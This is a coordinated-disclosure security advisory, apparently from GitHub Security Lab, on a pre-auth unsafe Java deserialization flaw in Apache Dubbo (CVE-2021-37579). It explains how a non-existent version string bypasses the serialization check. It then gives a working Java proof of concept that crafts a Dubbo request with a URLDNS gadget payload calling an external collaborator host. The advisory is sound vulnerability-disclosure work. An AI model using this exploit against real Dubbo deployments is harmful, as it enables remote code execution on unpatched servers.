Coordinated Disclosure Timeline
- 2021-06-28: Report issue to Apache Dubbo and Apache security teams
- 2021-08-17: Issue is fixed
- 2021-09-08: Issue is published
Summary
Pre-Auth Unsafe Java Deserialization
Product
Apache Dubbo
Tested Version
Details
Apache Dubbo 2.6.10.1 introduced a new property to prevent consumers from changing the serialization type specified by the provider (serialization.security.check
)
The check is implemented by CodecSupport.checkSerialization()
:
public static void checkSerialization(String path, String version, Byte id) throws IOException {
ServiceRepository repository = ApplicationModel.getServiceRepository();
ProviderModel providerModel = repository.lookupExportedServiceWithoutGroup(path + ":" + version);
if (providerModel == null) {
if (logger.isWarnEnabled()) {
logger.warn("Serialization security check is enabled but cannot work as expected because " +
"there's no matched provider model for path " + path + ", version " + version);
}
} else {
List<URL> urls = providerModel.getServiceConfig().getExportedUrls();
if (CollectionUtils.isNotEmpty(urls)) {
URL url = urls.get(0);
String serializationName = url.getParameter(org.apache.dubbo.remoting.Constants.SERIALIZATION_KEY, Constants.DEFAULT_REMOTING_SERIALIZATION);
Byte localId = SERIALIZATIONNAME_ID_MAP.get(serializationName);
if (localId != null && !localId.equals(id)) {
throw new IOException("Unexpected serialization id:" + id + " received from network, please check if the peer send the right id.");
}
}
}
}
The check is only exercised by DecodeableRpcInvocation.decode()
if the serialization.security.check
property is true
:
public Object decode(Channel channel, InputStream input) throws IOException {
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), serializationType)
.deserialize(channel.getUrl(), input);
this.put(SERIALIZATION_ID_KEY, serializationType);
String dubboVersion = in.readUTF();
request.setVersion(dubboVersion);
setAttachment(DUBBO_VERSION_KEY, dubboVersion);
String path = in.readUTF();
setAttachment(PATH_KEY, path);
String version = in.readUTF();
setAttachment(VERSION_KEY, version);
setMethodName(in.readUTF());
String desc = in.readUTF();
setParameterTypesDesc(desc);
try {
if (ConfigurationUtils.getSystemConfiguration().getBoolean(SERIALIZATION_SECURITY_CHECK_KEY, true)) {
CodecSupport.checkSerialization(path, version, serializationType);
}
...
This control is not effective since an attacker can control both the path
and version
arguments passed to checkSerialization()
and therefore, they can pass a legit path
with an non-existent version
which will make the call to repository.lookupExportedServiceWithoutGroup(path + ":" + version)
return null
and the branch where “Serialization security check is enabled but cannot work as expected” is printed to the log does not throw an exception. Therefore, the execution of DecodeableRpcInvocation.decode()
will continue until it reaches:
if (desc.length() > 0) {
ServiceRepository repository = ApplicationModel.getServiceRepository();
ServiceDescriptor serviceDescriptor = repository.lookupService(path);
if (serviceDescriptor != null) {
MethodDescriptor methodDescriptor = serviceDescriptor.getMethod(getMethodName(), desc);
if (methodDescriptor != null) {
pts = methodDescriptor.getParameterClasses();
this.setReturnTypes(methodDescriptor.getReturnTypes());
}
}
if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
if (!RpcUtils.isGenericCall(desc, getMethodName()) && !RpcUtils.isEcho(desc, getMethodName())) {
throw new IllegalArgumentException("Service not found:" + path + ", " + getMethodName());
}
pts = ReflectUtils.desc2classArray(desc);
}
args = new Object[pts.length];
for (int i = 0; i < args.length; i++) {
try {
args[i] = in.readObject(pts[i]); <<<< Line 155
} catch (Exception e) {
if (log.isWarnEnabled()) {
log.warn("Decode argument failed: " + e.getMessage(), e);
}
}
}
}
The unsafe deserialization occurs in line 155 but to reach that point, an attacker needs to send a valid path
that makes repository.lookupService(path);
return a valid ServiceDescriptor
. Note that, in this case, the lookup operation does not take the version
into account which means that an attacker can make repository.lookupExportedServiceWithoutGroup(path + ":" + version)
fail but repository.lookupService(path);
succeed, enabling them to effectively change the serialization type to the native Java one, skipping the security check (when enabled) and reaching a deserialization operation.
PoC
package org.pwntester.dubbo;
import org.apache.dubbo.common.io.Bytes;
import org.pwntester.dubbo.utils.Gadgets;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;
public class NativeJavaSwitch {
protected static final int HEADER_LENGTH = 16;
protected static final short MAGIC = (short) 0xdabb;
protected static final byte FLAG_REQUEST = (byte) 0x80;
protected static final byte FLAG_TWOWAY = (byte) 0x40;
protected static final byte FLAG_EVENT = (byte) 0x20;
public static void main(String[] args) throws Exception {
/*
0-7: Magic High header[0]
8-15:Magic Low header[1]
16:Req/Res |
17:2way |
18:Event | header[2]
19-23:Serialization |
24-31:status header[3]
32-95:id header[4-11]
96-127:body header[12-14]
*/
// header.
byte[] header = new byte[HEADER_LENGTH];
// set magic number.
Bytes.short2bytes(MAGIC , header);
// set request and serialization flag.
// 2 -> "hessian2"
// 3 -> "java"
// 4 -> "compactedjava"
// 6 -> "fastjson"
// 7 -> "nativejava"
// 8 -> "kryo"
// 9 -> "fst"
// 10 -> "native-hessian"
// 11 -> "avro"
// 12 -> "protostuff"
// 16 -> "gson"
// 21 -> "protobuf-json"
// 22 -> "protobuf"
// 25 -> "kryo2"
boolean isResponse = false;
boolean okResponse = true;
if (isResponse) {
header[2] = (byte) 3;
if (okResponse) {
header[3] = (byte) 20;
} else {
header[3] = (byte) 0;
}
} else {
header[2] = (byte) (FLAG_REQUEST | 3);
}
boolean isTwoWay = true;
if (isTwoWay) {
header[2] |= FLAG_TWOWAY;
}
boolean isEvent = false;
if (isEvent) {
header[2] |= FLAG_EVENT;
}
// set request id.
Bytes.long2bytes(666, header, 4);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
try {
/* For Requests, we need to encode the following objects
1.dubboVersion
2.path
3.version
4.methodName
5.methodDesc
6.paramsObject
7.map
*/
oos.writeInt(666);
oos.writeUTF("3.0.0");
oos.writeInt(666);
oos.writeUTF("org.apache.dubbo.metadata.MetadataService");
oos.writeInt(666);
oos.writeUTF("6.6.6");
oos.writeInt(666);
oos.writeUTF("getExportedURLs");
oos.writeInt(666);
oos.writeUTF("Ljava/lang/String;");
oos.writeByte(666);
Object o = Gadgets.generate_urldns_payload("http://mwmdo13ymchgll5lcw9e2pbai1orcg.burpcollaborator.net");
oos.writeObject(o);
} finally {
if (oos != null) {
oos.close();
}
}
// write length of body into header
Bytes.int2bytes(baos.size(), header, 12);
// write header into OS
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(header);
// write payload into OS
byteArrayOutputStream.write(baos.toByteArray());
// get bytes
byte[] bytes = byteArrayOutputStream.toByteArray();
// send bytes
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
Impact
This issue may lead to pre-auth Remote Code Execution (RCE)
CVE
- CVE-2021-37579
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-097
in any communication regarding this issue.